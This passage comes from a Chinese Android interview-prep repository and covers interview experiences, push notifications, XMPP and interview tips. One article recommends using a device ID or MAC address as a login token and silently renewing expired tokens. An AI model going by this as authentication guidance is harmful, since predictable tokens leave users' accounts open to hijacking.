小米内推1面\n\n电话面，大概40分钟，面试的时候那边很吵，不过幸好面试官语速慢，而且我答完一个问题后，面试官会和我交流哪里没有答好。没有问项目，就问了基础，问题也不多：HashMap删除元素的方法，for each和正常for的用在不同数据结构（ArrayList、set、hashmap）上的效率区别（LZ表示没有看过源码，不知道），static class和non-static class的区别，一个大文件几个GB，怎么实现复制（这个也没有答好）。然后问了两个算法：之前一个出现过，另一个是在git里面，如果有n个分支，m次commit怎么找到任意两个节点共同的那个父节点（这个当时我想错了，想到二叉树上去了，没有答好）。然后让两个算法用代码实现，1个小时内写好email给他。\n\n小米面了以后也杳无音信，估计也是要求很高，毕竟解决北京户口。\n\n其实在阿里实习的时候很早就开始投简历了，因为出去实习一段时间后，感觉还是很想留在成都（因为lz是四川人）。腾讯我没有参加校招面试，直接走的内推流程。\n\n### 腾讯1面\n\n电话面，7月20+号，很水，就问了项目，聊了可能有十多分钟，然后面试官说，内推没有什么作用，还是要走校招面试（我觉得他可能是有其他事情，想节省时间），你在实习不能回来，还是要现场面一次才行，然后就留了个电话让我校招联系他，这样就完了。\n\n2面是在我回学校后了。\n\n### 腾讯2面\n\n9月6号我回学校之后，下午3点接到电话，让我晚上7点去腾讯现场面的（我在想为何是在晚上，lz学校到腾讯要2个小时，还让不让人回来了），当时紧张得要死，因为刚从阿里回来不久，都没怎么好好准备基础，在地铁上看了两本基础书，亚历山大。面试是在腾讯里面，微信部门，面试官是个中年人（现在是LZ的主管），看起来还是比较沉稳的那种。也没问基础技术问题，就聊项目细节和一些可优化的地方，然后把lz的简历看了翻了一遍，问了一遍，然后就是问我在阿里学到了什么，为什么当时选择了阿里（这时候肯定要各种跪舔啊）。然后后来他说他是做ios的，我在想难怪不问我基础。\n\n面完了说一周之内通知我结果，也没报太大希望，感觉并不太对口，因为搞不懂为什么是做ios的来面我。\n\n两天之后，在阿里HRG电话通知我拥抱变化之后，几乎同一时间，腾讯电话通知我拿到了成都offer，我只能感叹太巧了（大概这大半辈子的运气都花光了）。\n\n后来校招开始后，只面了百度一家公司，百度确实比较重视基础与算法，看中技术。\n\n### 百度1面\n\n大概1个小时，又是个做ios的师兄面试我，自然就只能聊项目了，我给他展示了我做的app后，也问了些技术问题，缓存怎么做的，内存溢出怎么处理。然后两个算法题：把一个数组中奇数放前面，偶数放后面，这个要求写出来。另一个是3亿条IP中，怎么找到次数出现最多的5000条IP。最后问了是否愿意去北京，对于技术的看法。\n\n### 百度2面\n\n50分钟，写个4个程序题：反转链表、冒泡排序、生产者消费者，这三个都还好写，很快的写出来了，还有一个题是在一组排序数中，给定一个数，返回最接近且不大于这个数的位置，要求时间在O(logn)（这个想了一会，用二分查找，然后特殊处理了一下），最后他看不懂，要我一步一步解释。花了好一整子，最后问了个java反射，就让我走了。百度果然是重视算法。\n\n### 百度3面\n\n这一面应该是个技术高层，笼统的问了我一下项目的问题，然后问了几个基础：java反射机制；android动画有哪些，什么特点？TCP/IP层次架构，每层的作用与协议；TCP拥塞控制；滑动窗口是怎么设计的，有什么好处；android的布局都有哪些。问完这些之后，然后就是有点类似于HR的聊天了：如果这次面试过了你觉得是因为什么原因，没过呢？你觉得百度怎么样？你对技术路线什么打算？有些和前面重复的就不写了。然后他让我问他问题，我就连续问了5、6个问题，最后愉快的走了。\n\n百度这两天给结果。\n\n## 6. 写在最后\n\n\n### 关于选择\n\nLZ当时实习的时候，杭州阿里和广州腾讯选择去了阿里，但是却因为拥抱变化没有留下来，相反这边在腾讯实习的同学却很顺利。但是也是因为没有去广州腾讯，最后我能留在成都腾讯。选择是一件非常重要的事情，它决定着你的未来，但是也有一点你得知道：塞翁失马焉知非福，现在看起来不太好的选择，不一定将来就好，未来有太多未知数。\n\n### 心怀感恩\n\n其实一路走来，我也是在成长，从最初的不自信，到了最后面试一切都比较冷静与沉着。我一直相信，机会是留给有准备的人，所以，请提早准备，越早越好。我很感激能有那么多人帮助我和肯定我，没有最初腾讯的肯定，我肯定不会走的这么顺利，所以我很感恩哪些让我通过的人，也感谢我们实验室的兄弟姐妹，给了我良好的学习成长环境，心怀感恩才能好运常在。\n\n找工作其实就像是一场战役，前面我们经历了高考或者考研，现在是找工作，你不在这个时候搏一搏，怎么对得起你之前的努力。不要担心找不到好工作，你要相信：\n\n天道酬勤！"
  },
  {
    "path": "docs/android/Android-Interview/网络编程/Android客户端和服务端如何使用Token和Session.md",
    "content": "对于初学者来说，对Token和Session的使用难免会限于困境，开发过程中知道有这个东西，但却不知道为什么要用他？更不知道其原理，今天我就带大家一起分析分析这东西。\n\n## 我们先解释一下他的含义：\n\n1、Token的引入：Token是在客户端频繁向服务端请求数据，服务端频繁的去数据库查询用户名和密码并进行对比，判断用户名和密码正确与否，并作出相应提示，在这样的背景下，Token便应运而生。\n\n2、Token的定义：Token是服务端生成的一串字符串，以作客户端进行请求的一个令牌，当第一次登录后，服务器生成一个Token便将此Token返回给客户端，以后客户端只需带上这个Token前来请求数据即可，无需再次带上用户名和密码。\n\n3、使用Token的目的：Token的目的是为了减轻服务器的压力，减少频繁的查询数据库，使服务器更加健壮。\n\n了解了Token的意义后，我们就更明确的知道为什么要用他了。\n\n## 如何使用Token？\n\n这是本文的重点，在这里我就介绍常用的两种方式。\n\n1、用设备号/设备mac地址作为Token（推荐）\n\n客户端：客户端在登录的时候获取设备的设备号/mac地址，并将其作为参数传递到服务端。\n\n服务端：服务端接收到该参数后，便用一个变量来接收同时将其作为Token保存在数据库，并将该Token设置到session中，客户端每次请求的时候都要统一拦截，并将客户端传递的token和服务器端session中的token进行对比，如果相同则放行，不同则拒绝。\n\n分析：此刻客户端和服务器端就统一了一个唯一的标识Token，而且保证了每一个设备拥有了一个唯一的会话。该方法的缺点是客户端需要带设备号/mac地址作为参数传递，而且服务器端还需要保存；优点是客户端不需重新登录，只要登录一次以后一直可以使用，至于超时的问题是有服务器这边来处理，如何处理？若服务器的Token超时后，服务器只需将客户端传递的Token向数据库中查询，同时并赋值给变量Token，如此，Token的超时又重新计时。\n\n2、用session值作为Token\n\n客户端：客户端只需携带用户名和密码登陆即可。\n\n客户端：客户端接收到用户名和密码后并判断，如果正确了就将本地获取sessionID作为Token返回给客户端，客户端以后只需带上请求数据即可。\n\n分析：这种方式使用的好处是方便，不用存储数据，但是缺点就是当session过期后，客户端必须重新登录才能进行访问数据。\n\n## 使用过程中出现的问题以及解决方案？\n\n刚才我们轻松介绍了Token的两种使用方式，但是在使用过程中我们还出现各种问题，Token第一种方法中我们隐藏了一个在网络不好或者并发请求时会导致多次重复提交数据的问题。\n\n该问题的解决方案：将session和Token套用，如此便可解决，如何套用呢？请看这段解释：\n\n![wKioL1QX85nCkJ5qAABWcdNyC0g731.png](http://s3.51cto.com/wyfs02/M02/49/A9/wKioL1QX85nCkJ5qAABWcdNyC0g731.png)\n\n这就是解决重复提交的方案。\n\n总结：以上是个人对开发中使用Token和session的一点总结，如有叙述不当之处请指正，我将及时改正并感谢，我知道还有更多更好的使用方式，我在这里只是抛砖引玉，希望大家将您的使用方式提出来，我们一起讨论，学习，一起进步，同时也为像我一样对这方面理解薄弱的朋友提供点帮助，谢谢。"
  },
  {
    "path": "docs/android/Android-Interview/网络编程/README.md",
    "content": "## 网络编程\n\n- [Android客户端和服务端如何使用Token和Session](Android客户端和服务端如何使用Token和Session.md)\n- [推送原理](推送原理.md)\n- [阐述一下对XMPP协议理解以及优缺点？](阐述一下对XMPP协议理解以及优缺点？.md)\n- [简单阐述一下及时推送原理？](简单阐述一下及时推送原理？.md)"
  },
  {
    "path": "docs/android/Android-Interview/网络编程/推送原理.md",
    "content": "# 极光推送技术原理：移动无线网络长连接\n\n## 移动互联网应用现状\n\n因为手机平台本身、电量、网络流量的限制，移动互联网应用在设计上跟传统 PC 上的应用很大不一样，需要根据手机本身的特点，尽量的节省电量和流量，同时又要尽可能的保证数据能及时到达客户端。\n\n为了解决数据同步的问题，在手机平台上，常用的方法有2种。一种是定时去服务器上查询数据，也叫Polling，还有一种手机跟服务器之间维护一个 TCP 长连接，当服务器有数据时，实时推送到客户端，也就是我们说的 Push。\n\n从耗费的电量、流量和数据送达的及时性来说，Push 都会有明显的优势，但 Push 的实现和维护成本相对较高。在移动无线网络下维护长连接，相对也有一些技术上的难度。本文试图给大家介绍一下我们[极光推送](http://www.jpush.cn/)在 Android 平台上是如何维护长连接。\n\n## 移动无线网络的特点\n\n因为 IP v4 的 IP 量有限，运营商分配给手机终端的 IP 是运营商内网的 IP，手机要连接 Internet，就需要通过运营商的网关做一个网络地址转换（Network Address Translation，NAT）。简单的说运营商的网关需要维护一个外网 IP、端口到内网 IP、端口的对应关系，以确保内网的手机可以跟 Internet 的服务器通讯。\n\n![http://www.cisco.com/en/US/i/100001-200000/110001-120000/119001-120000/119935.jpg](http://www.cisco.com/en/US/i/100001-200000/110001-120000/119001-120000/119935.jpg)\n\n图片源自 cisco.com. \n\nNAT 功能由图中的 GGSN 模块实现。\n\n大部分移动无线网络运营商都在链路一段时间没有数据通讯时，会淘汰 NAT 表中的对应项，造成链路中断。\n\n## Android 平台上长连接的实现\n\n为了不让 NAT 表失效，我们需要定时的发心跳，以刷新 NAT 表项，避免被淘汰。\n\nAndroid 上定时运行任务常用的方法有2种，一种方法用 Timer，另一种是AlarmManager。\n\n### Timer\n\nAndroid 的 Timer 类可以用来计划需要循环执行的任务，Timer 的问题是它需要用 WakeLock 让 CPU 保持唤醒状态，这样会大量消耗手机电量，大大减短手机待机时间。这种方式不能满足我们的需求。\n\n### AlarmManager\n\nAlarmManager 是 Android 系统封装的用于管理 RTC 的模块，RTC (Real Time Clock) 是一个独立的硬件时钟，可以在 CPU 休眠时正常运行，在预设的时间到达时，通过中断唤醒 CPU。\n\n这意味着，如果我们用 AlarmManager 来定时执行任务，CPU 可以正常的休眠，只有在需要运行任务时醒来一段很短的时间。极光推送的 Android SDK 就是基于这种技术实现的。\n\n## 服务器设计\n\n当有大量的手机终端需要与服务器维持长连接时，对服务器的设计会是一个很大的挑战。\n\n假设一台服务器维护10万个长连接，当有1000万用户量时，需要有多达100台的服务器来维护这些用户的长连接，这里还不算用于做备份的服务器，这将会是一个巨大的成本问题。那就需要我们尽可能提高单台服务器接入用户的量，也就是业界已经讨论很久了的 C10K 问题。\n\n### C2000K\n\n针对这个问题，我们专门成立了一个项目，命名为C2000K，顾名思义，我们的目标是单机维持200万个长连接。最终我们采用了多消息循环、异步非阻塞的模型，在一台双核、24G内存的服务器上，实现峰值维持超过300万个长连接。\n\n## 后记\n\n稳定维护长连接是推送平台的一个基础，[极光推送团队](http://blog.jpush.cn/)将会在这方面长期投入，以保证用户能有效的节省电量、流量，同时数据能实时送达。\n\n# 即时通信技术-Websocket\n\n以前不管使用HTTP轮询或使用TCP长连接等方式制作在线聊天系统，都有天然缺陷，随着Html5的兴起，其中有一个新的协议WebSocket protocol，可实现浏览器与服务器全双工通信(full-duplex)，它可以做到：浏览器和服务器只需要做一个握手的动作，然后，浏览器和服务器之间就形成了一条快速通道。两者之间就直接可以数据互相传送。这个新的协议的特点正好适合这种在线即时通信。"
  },
  {
    "path": "docs/android/Android-Interview/网络编程/简单阐述一下及时推送原理？.md",
    "content": "### 源码分析相关面试题\n\n- [Volley源码分析](http://www.jianshu.com/p/ec3dc92df581)\n- [注解框架实现原理](http://www.jianshu.com/p/20da6d6389e1)\n- [okhttp3.0源码分析](http://www.jianshu.com/p/9ed2c2f2a52c)\n- [onSaveInstanceState源码分析](http://www.jianshu.com/p/cbf9c3557d64)\n- [静默安装和源码编译](http://www.jianshu.com/p/2211a5b3c37f)\n\n### Activity相关面试题\n\n- [保存Activity的状态](http://www.jianshu.com/p/cbf9c3557d64)\n\n### 与XMPP相关面试题\n\n- [XMPP协议优缺点](http://www.jianshu.com/p/2c04ac3c526a)\n- [极光消息推送原理](http://www.jianshu.com/p/d88dc66908cf)\n\n### 与性能优化相关面试题\n\n- [内存泄漏和内存溢出区别](http://www.jianshu.com/p/5dd645b05c76)\n- [UI优化和线程池实现原理](http://www.jianshu.com/p/c22398f8587f)\n- [代码优化](http://www.jianshu.com/p/ebd41eab90df)\n- [内存性能分析](http://www.jianshu.com/p/2665c31b9c2f)\n- [内存泄漏检测](http://www.jianshu.com/p/1514c7804a06)\n- [App启动优化](http://www.jianshu.com/p/f0f73fefdd43)\n- [与IPC机制相关面试题](http://www.jianshu.com/p/de4793a4c2d0)\n\n### 与登录相关面试题\n\n- [oauth认证协议原理](http://www.jianshu.com/p/2a6ecbf8d49d)\n- [token产生的意义](http://www.jianshu.com/p/9b7ce2d6c195)\n- [微信扫一扫实现原理](http://www.jianshu.com/p/a9d1f21bd5e0)\n\n### 与开发相关面试题\n\n- [迭代开发的时候如何向前兼容新旧接口](http://www.jianshu.com/p/cbecadec98de)\n- [手把手教你如何解决as jar包冲突](http://www.jianshu.com/p/30fdc391289c)\n- [context的原理分析](http://www.jianshu.com/p/2706c13a1769)\n- [解决ViewPager.setCurrentItem中间很多页面切换方案](http://www.jianshu.com/p/38ab6d856b56)\n\n### 与人事相关面试题\n\n- [人事面试宝典](http://www.jianshu.com/p/d61b553ff8c9)\n\n### 本文配套视频\n\n- [极光推送原理配套视频](https://v.qq.com/x/page/h0394a7zioh.html)\n- [xmpp基本概念配套视频](https://v.qq.com/x/page/s0394k4p10i.html)\n- [配套视频](https://v.qq.com/x/page/h0394s3mc5k.html)\n\n## 4-简单阐述一下及时推送原理？\n\na) 传统获取服务器数据使用的是pull模式，是客户端向服务器请求数据。从客户端发起连接请求，获取到服务器数据后就关闭连接。当连接断开后，服务器就会失去客户端的地址，因此无法主动向客户端发送消息。\n\nb) 推送(push)是服务主动向客户端发送数据。\n\n它的原理是保持一个长连接，当客户端和服务器建立连接后不再断开，这样服务器随时有新消息都可以发送给客户端。\n\n长连接和短连接。所谓长连接，指在一个TCP连接上可以连续发送多个数据包，在TCP连接保持期间，如果没有数据包发送，需要双方发检测包以维持此连接。（心跳连接）\n\n```\nwhile(true) {\n 　　request(timeout);\n 　　request(timeout);\n}\n```\n\n短连接是指通信双方有数据交互时，就建立一个TCP连接，数据发送完成后，则断开此TCP连接，即每次TCP连接只完成一对\n\nc) 至于如何获取推送消息。由于服务端传来推送消息的时间是不确定的，这里只能等待推送SDK的回调，比如通过注册监听或者广播接收者。不同的厂商的推送SDK可能会有不同的处理方案，以百度推送SDK来说，是通过广播接收者获取推送数据。\n\n## 5-简要说明一下openfire、smack、spark\n\nopenfire是基于XMPP协议的即时通信的服务器端的一个实现，你不需要编写一行服务端的代码，实现一个简单的点对点通信或是简单的群聊.\n\nsmack 是XMPP传输协议的Java实现，提供了一套API接口，可以连接服务端。一般用于快速开发手机客户端。\n\nspark是基于smack实现的一个XMPP即时通信客户端(PC端的)。\n\n## 6-列出几种常见的解决消息即时获取方案\n\n1. 轮询(Pull)方式：客户端定时向服务器发送询问消息，一旦服务器有变化则立即同步消息。\n2. SMS(短信消息)(Push)方式：通过拦截SMS消息并且解析消息内容来了解服务器的命令，但这种方式一般用户在经济上很难承受。\n3. 持久连接(Push)方式：客户端和服务器之间建立长久连接，这样就可以实现消息的及时行和实时性。\n\n## 7-Timer比AlarmManager实现心跳时更耗电原因\n\n- Timer\n\nAndroid 的 Timer 类可以用来计划需要循环执行的任务。\nTimer 的问题是它需要用 WakeLock 让 CPU 保持唤醒状态，这样会大量消耗手机电量，\n大大减短手机待机时间。这种方式不能满足我们的需求。\n\n- AlarmManager\n\nAlarmManager 是 Android 系统封装的用于管理 RTC 的模块，RTC (Real Time Clock) 是一个独立的硬件时钟，可以在 CPU 休眠时正常运行，在预设的时间到达时，通过中断唤醒 CPU。这意味着，如果我们用 AlarmManager 来定时执行任务，CPU 可以正常的休眠，只有在需要运行任务时醒来一段很短的时间。\n\n- 欢迎关注微信公众号,长期推荐技术文章和技术视频\n\n微信公众号名称：Android干货程序员\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-8f737b5104dd0b5d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)"
  },
  {
    "path": "docs/android/Android-Interview/网络编程/阐述一下对XMPP协议理解以及优缺点？.md",
    "content": "### 源码分析相关面试题\n\n- [Volley源码分析](http://www.jianshu.com/p/ec3dc92df581)\n- [注解框架实现原理](http://www.jianshu.com/p/20da6d6389e1)\n- [okhttp3.0源码分析](http://www.jianshu.com/p/9ed2c2f2a52c)\n- [onSaveInstanceState源码分析](http://www.jianshu.com/p/cbf9c3557d64)\n- [静默安装和源码编译](http://www.jianshu.com/p/2211a5b3c37f)\n\n### Activity相关面试题\n\n- [保存Activity的状态](http://www.jianshu.com/p/cbf9c3557d64)\n\n### 与XMPP相关面试题\n\n- [XMPP协议优缺点](http://www.jianshu.com/p/2c04ac3c526a)\n- [极光消息推送原理](http://www.jianshu.com/p/d88dc66908cf)\n\n### 与性能优化相关面试题\n\n- [内存泄漏和内存溢出区别](http://www.jianshu.com/p/5dd645b05c76)\n- [UI优化和线程池实现原理](http://www.jianshu.com/p/c22398f8587f)\n- [代码优化](http://www.jianshu.com/p/ebd41eab90df)\n- [内存性能分析](http://www.jianshu.com/p/2665c31b9c2f)\n- [内存泄漏检测](http://www.jianshu.com/p/1514c7804a06)\n- [App启动优化](http://www.jianshu.com/p/f0f73fefdd43)\n- [与IPC机制相关面试题](http://www.jianshu.com/p/de4793a4c2d0)\n\n### 与登录相关面试题\n\n- [oauth认证协议原理](http://www.jianshu.com/p/2a6ecbf8d49d)\n- [token产生的意义](http://www.jianshu.com/p/9b7ce2d6c195)\n- [微信扫一扫实现原理](http://www.jianshu.com/p/a9d1f21bd5e0)\n\n### 与开发相关面试题\n\n- [迭代开发的时候如何向前兼容新旧接口](http://www.jianshu.com/p/cbecadec98de)\n- [手把手教你如何解决as jar包冲突](http://www.jianshu.com/p/30fdc391289c)\n- [context的原理分析](http://www.jianshu.com/p/2706c13a1769)\n- [解决ViewPager.setCurrentItem中间很多页面切换方案](http://www.jianshu.com/p/38ab6d856b56)\n\n### 与人事相关面试题\n\n- [人事面试宝典](http://www.jianshu.com/p/d61b553ff8c9)\n\n### 本文配套视频\n\n- [什么是XMPP配套视频](https://v.qq.com/x/page/t0394w3zhoa.html)\n\n## 3-简单阐述一下对XMPP协议理解以及优缺点？\n\n### 定义：\n\n> XMPP（可扩展消息处理现场协议）的前身是Jabber，由一个开源组织产生的即时通信协议，基于可扩展标记语言（XML）的一种协议，是由IETF(国际互联网小组)通过的网络标准。\n\n- 及时通讯:发送一则消息，对方账号马上即时接收到消息。中间没有出现延时。\n  底层使用 socket实现/java对tcp/ip协议的实现\n\n### 基本网络结构\n\nXMPP中定义了三个角色，客户端，服务器，网关。通信能够在这三者的任意两个之间双向发生。服务器同时承担了客户端信息记录，连接管理和信息的路由功能。网关承担着与异构即时通信系统的互联互通，异构系统可以包括SMS（短信），\nMSN，ICQ等。基本的网络形式是单客户端通过TCP/IP连接到单服务器，然后在之上传输XML。\n\n- 举个例子看看所谓的XML（标准通用标记语言的子集）流是什么样子的？\n\n客户端：\n\n```xml\n<?xmlversion='1.0'?>\n<stream:stream\n\tto='example_com'\n\txmlns='jabber:client'\n\txmlns:stream='http_etherx_jabber_org/streams'\n\tversion='1.0'>\n```\n\n服务器：\n\n```xml\n<?xmlversion='1.0'?>\n<stream:stream\n\tfrom='example_com'\n\tid='someid'\n\txmlns='jabber:client'\n\txmlns:stream='http_etherx_jabber_org/streams'\n\tversion='1.0'>\n```\n\n其他通信\n客户端：\n\n```xml\n<messagefrom='juliet_example_com'\n\tto='romeo_example_net'\n\txml:lang='zh-cn'>\n    \t<body>Art thou not Romeo, and a Montague?</body>\n</message>\n```\n\n服务器：\n\n```xml\n<message from='romeo_example_net'\n\tto='juliet_example_com'\n\txml:lang='zh-cn'>\n    <body>Neither, fair saint, if either thee dislike.</body>\n</message>\n```\n\n客户端：\n\n```xml\n</stream:stream>\n```\n\n服务器：\n\n```xml\n</stream:stream>\n```\n\n- 以文档的观点来看，客户端或服务器发送的所有XML文本连缀在一起，从&lt;stream>到&lt;/stream>构成了一个完整的XML文档。其中的stream标签就是所谓的XML Stream。在&lt;stream>与&lt;/stream>中间的那些&lt;message>...&lt;/message>这样的XML元素就是所谓的XML Stanza（XML节）。 XMPP核心协议通信的基本模式就是先建立一个stream，然后协商一堆安全之类的东西，中间通信过程就是客户端发送XML Stanza，一个接一个的。服务器根据客户端发送的信息以及程序的逻辑，发送XML Stanza给客户端。但是这个过程并不是一问一答的，\n  任何时候都有可能从一方发信给另外一方。通信的最后阶段是&lt;/stream>关闭流，关闭TCP/IP连接。\n\n> XMPP 的消息格式。\n> XMPP 协议的所有消息都是 XML 格式的，在 XMPP 中定义了 3 个顶层消息：\n\n- 2.1 Presence\n\n  用于确定用户的状态。消息结构举例如下（每个 XML 的 node 还会有很多其他 attribute，为了简单起见这里省略，下同）：\n\n  ```\n  <presence from=\"abc@jabber.org/contact\"  to=\"def@jabber.org/contact\"> \n    <status>online</status> \n  </presence>\n  ```\n\n- 2.2 Message\n\n  用于在两个用户之间发送消息。消息结构举例如下：\n\n  ```\n  <message from=\"abc@jabber.org/contact\" to=\"def@jabber.org/contact\" type=“chat”> \n    <body>hello</body> \n  </message>\n  ```\n\n- 2.3 IQ​\n\n  信息/请求，是一个请求－响应机制，管理XMPP服务器上两个用户的转换，允许他们通过相应的XML格式进行查询和响应。\n\n  ```\n  <iq from=\"abc@jabber.org/contact\" id=“id11” type=“result”> \n  </iq>\n  ```\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-e929a077d630d27e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n[及时聊天的展示形式](https://v.qq.com/x/page/k0394y5jo6d.html)\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-66c1ec0e265257de.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-9d4319f3ac184fa5.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n> 面向连接：三次握手\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-45c525c855b6e407.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n- 欢迎关注微信公众号,长期推荐技术文章和技术视频\n\n微信公众号名称：Android干货程序员\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-8f737b5104dd0b5d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)"
  },
  {
    "path": "docs/android/Android-Interview/面试技巧/README.md",
    "content": "## 面试技巧\n\n- [程序员面试宝典](程序员面试宝典.md)\n- [罗永浩新东方万字求职信](/罗永浩新东方万字求职信.md)\n- [我在面试中最喜欢问开发者的问题，和回答思路](我在面试中最喜欢问开发者的问题，和回答思路.md)"
  },
  {
    "path": "docs/android/Android-Interview/面试技巧/我在面试中最喜欢问开发者的问题，和回答思路.md",
    "content": "本文作者是 Zach Mathew，他是 FreshBooks 的经理。\n\n我面试过很多人，大部分是开发者，部分是产品经理，有时候会面试主管或者副总监。但不管是面试什么级别和什么工种的应聘者，我都会在过程中对他们提出一个相同的要求： 现在，请把我当成一个学生，随便教我点什么东西和知识吧。\n\n![img](http://static.codeceo.com/images/2016/03/f48e1a69643f19b48cfcac3a922523e2.jpg)\n\n什么都行。\n\n可能是什么东西你觉得有意思的，或者你自己在某方面研究比较深的领域。甚至是你最近刚刚学习到的东西，反正是什么都好。你不需要是那方面的专家，但至少能跟我讲明白讲清楚，而且你能够回答我一些基础的问题。\n\n对，现在给你十分钟的时间，把你脑海里想到的东西教给我。\n\n我之所以对面试者提出这个要求，是因为我想知道我能从这个将来的同事身上学习到什么。我也想知道你的团队未来会从你身上学习到什么。\n\n当然，我问这个问题的时候，也想知道你的气质符合不符合我们公司的文化。虽然说 FreshBooks 这个公司并没有具体的规则，但其实每天，无论是实习生或者是管理层，我都会问他们类似问题，而且希望他们能给我满意的回答。\n\n以下是我不久前问自己同事的问题，并从中学习到的事情。\n\n- 我问 Tobi, 他是我团队里的一名开发: 我看到你在代码中正在用 ES6 ， 你认为它用起来怎么样?\n- 我问 Marcus, 他是金融公司的一名分析师: 跟我解释下同期群分析是什么意思？我应该在未来使用这个方法吗？\n\n![img](http://static.codeceo.com/images/2016/03/9c4ad2cb2fcb79c89baa8f06cfa4af33.jpg)\n\n有的时候，一些初级开发者会问我：我知道的东西，你肯定早就知道了。我没法教你。\n\n不，还是请指点我一下。实际上，当你真正教我的时候，你会吃惊于我多么无知。 而且就算你讲的东西是我早就知道的事情，再听一遍也不是什么大事。\n\n毕竟在那么多次的面试里，肯定会有人告诉我一些我早就知道的东西。那真的无所谓，我真正想从面试里了解到的是：\n\n1. 你是否能和他人进行有效交流？\n2. 你能否在研究一件事情的时候透过表面深入内层？\n3. 你是否具有有条理阐述一件事情的能力，还是说你是对什么都很不耐烦沟通的人？\n\n会学习是一种能力，能把自己学习到的东西表达给别人也是一种能力。\n\n这不仅仅是为了面试，我的意图是考察你其他的技能和潜能。\n\n在公司内部，我们也经常举办这种「教我点什么」的大会。通常是在周五下午，喝点小酒，大家聚在一起，分享彼此之间从本周工作以及最近的项目中得到的灵感。基本上，这就是一个信息的共享大会。不需要准备 ppt 或者演讲稿什么的，只需要张开嘴，放开心扉，告诉别人你的所得。\n\n你也可以反过来，邀请我教你学习点什么。 这当然可以，如果我要求你教我点什么，你也可以对我提出相同要求。面试是一个双方过程，在我评测你的时候，你也可以评价我。\n\n所以拜托，当我要求你教我点什么东西的时候，你也可以对我提出相同的请求。\n\n上文来源：[Medium](https://medium.com/@zachmathew/the-one-question-i-ask-in-every-interview-66561f69c233#.vhvgl44r3)\n\n![img](http://static.codeceo.com/images/2016/03/aa3d8bf54f8e5af3c644313095f059db.jpg)\n\n我个人感觉，这种「给你十分钟，你随便教我什么东西」的面试思路非常有意思。那身为应聘者，我们该怎么运用这十分钟给面试官留下好印象呢，对爱丽丝来说，其实觉得把这整个场景视为一个小小的自检是否具有有效沟通的过程比较有意思。\n\n我把自己的面试思路分享一下。\n\n首先，你要对面试时间有个预估。对方说给你十分钟，这时间说长不长说短不短。你可以迅速规划一下，比如我先用五分钟的时间讲述我想说东西的具体概念、理论知识和背景感悟。然后，剩下五分钟，可以用来让面试官继续提问或者自己继续补充。切不可自己光说。\n\n其次，你也可以把自己的打算和规划告诉面试官，比如在我最初前几分钟内向你讲述背景知识的时候，请先听我说完，尽量不要打断我的思路。\n\n接着，当你在真正介绍一件事、或传授一个知识的时候，记住一定要有条理，说话慢一些。当回答对方的问题时，多问问对方「我讲清楚没有」，而不是要问对方「你听明白没有」。\n\n最后，面试官都说了他其实并不在乎你讲什么。这是什么意思？这就是说你跟他说怎么烙煎饼和怎么解释引力波，人家根本不在乎。其实主要考察你的交流水平，其实也就是逻辑。\n\n而逻辑简单来说，就是大到小，从浅及深，想清楚影响的因果联系。当对方提出你不懂的问题，可以把他的问题拆解出几个小问题，去解答你懂得的地方。而对于不懂的事情，也不要不懂装懂，反而可以咨询他的意见——相信我，既然他能问出你不懂的问题，就说明他的水平比你高。\n\n让他帮你解释。当面试官比你话多的时候，这绝对是很好的信号。"
  },
  {
    "path": "docs/android/Android-Interview/面试技巧/程序员面试宝典.md",
    "content": "行业资深大牛，在实际面试百八十号的程序员工作中，深度总结什么样子的人，比较容易拿到offer！绝对值得一看哦\n\n## 1. 题要做满\n\n一般来说，程序员面试都会先由HR给一张面试题。面试题一般包含：逻辑题、代码规范、数据库理论、简单算法、高级函数应用、服务器基础。大多数公司出的题目，百度上都有。如果面试的岗位是初级开发，大胆去百度吧，只要填满就能获得好感度。如果面试的是中级开发，这些题只需要写重点就行，对做题时间会有要求。如果面试的是高级开发，在中级开发的要求上，把字写得漂亮些。\n\n## 2. 面试问答\n\n第一面，基本是技术主管/经理。可能是因为营造优越感，一定会问高级问题，即使需要的岗位是初级岗位。\n\n提问的第一波是面试题上的细节，确定是百度的还是真的懂的。第二波，会随机提问一些技术问题。\n\nPHP面试最喜欢问的就是常用框架和框架之间的差别。\n\nJava面试最喜欢问关于函数构建、算法加密等问题。\n\n前端面试，基本就拿着其他公司的界面设计问多久可以实现。\n\n会涉及一些数据库，基本都是问增改删查的应用、数据库设计的规范。其他的可能会随机选取一些业务场景，让当场做程序设计。\n\n整体的提问过程，能回答上一半就可以进入下一个面试节点。回答的时候态度一定要好，不知道的就回答“以前工作中没怎么用到”，千万不能胡说八道。知道的，也谦虚一点，回答“我过往是如此运用的”。\n\n## 3. 面试沟通\n\n可能是第二面，也可能是第三面，会有一个看上去和蔼可亲的人来面试。这个人基本上是某个项目负责人，面试的内容是沟通能力。\n\n一开始也会带一点基础技术问题，基本上还是根据面试题扩展的。\n\n然后就会开始问是否可以加班、如果需求发生变更怎么处理、对过往的工作从业务上理解多少、响应Bug会具体怎么做。回答不能啰嗦，要肯定句，比如：可以加班。而不要，模棱两可或者带有场景的回答，比如：不排斥加班，但是无意义的加班不太能接受。\n\n## 4. 面试情怀\n\n一般部门总监会谈这个问题。这部分，每个人都不同，但是未来规划一定要明确。一般程序员就两个发展：管理和技术专家。一般问这个问题，就是看短期内会不会离职，是不是一个有目标的人。\n\n还会问一些兴趣爱好，看未来能不能融入团队氛围。\n\n接下来就问薪资和待遇要求了。这部分，请根据自己的心走。不要觉得不好意思开口，面试是双向选择的过程。如果面试感觉比较好，当然也可以适当的降低一点要求。切记不要说出让自己下不了台的薪资。\n\n## 说几个有意思的对话，在以往面试中遇见过的\n\n注意啊，都是面试失败案例，千万别重蹈覆辙\n\n**程序员李某面试：**\n\n- Q：以前的工作是否用过敏捷开发？\n- A：核心就是以人为本。开发设计功能跟着心走。\n\n结果：回答完，面试就结束了。\n\n**程序员王某面试：**\n\n- 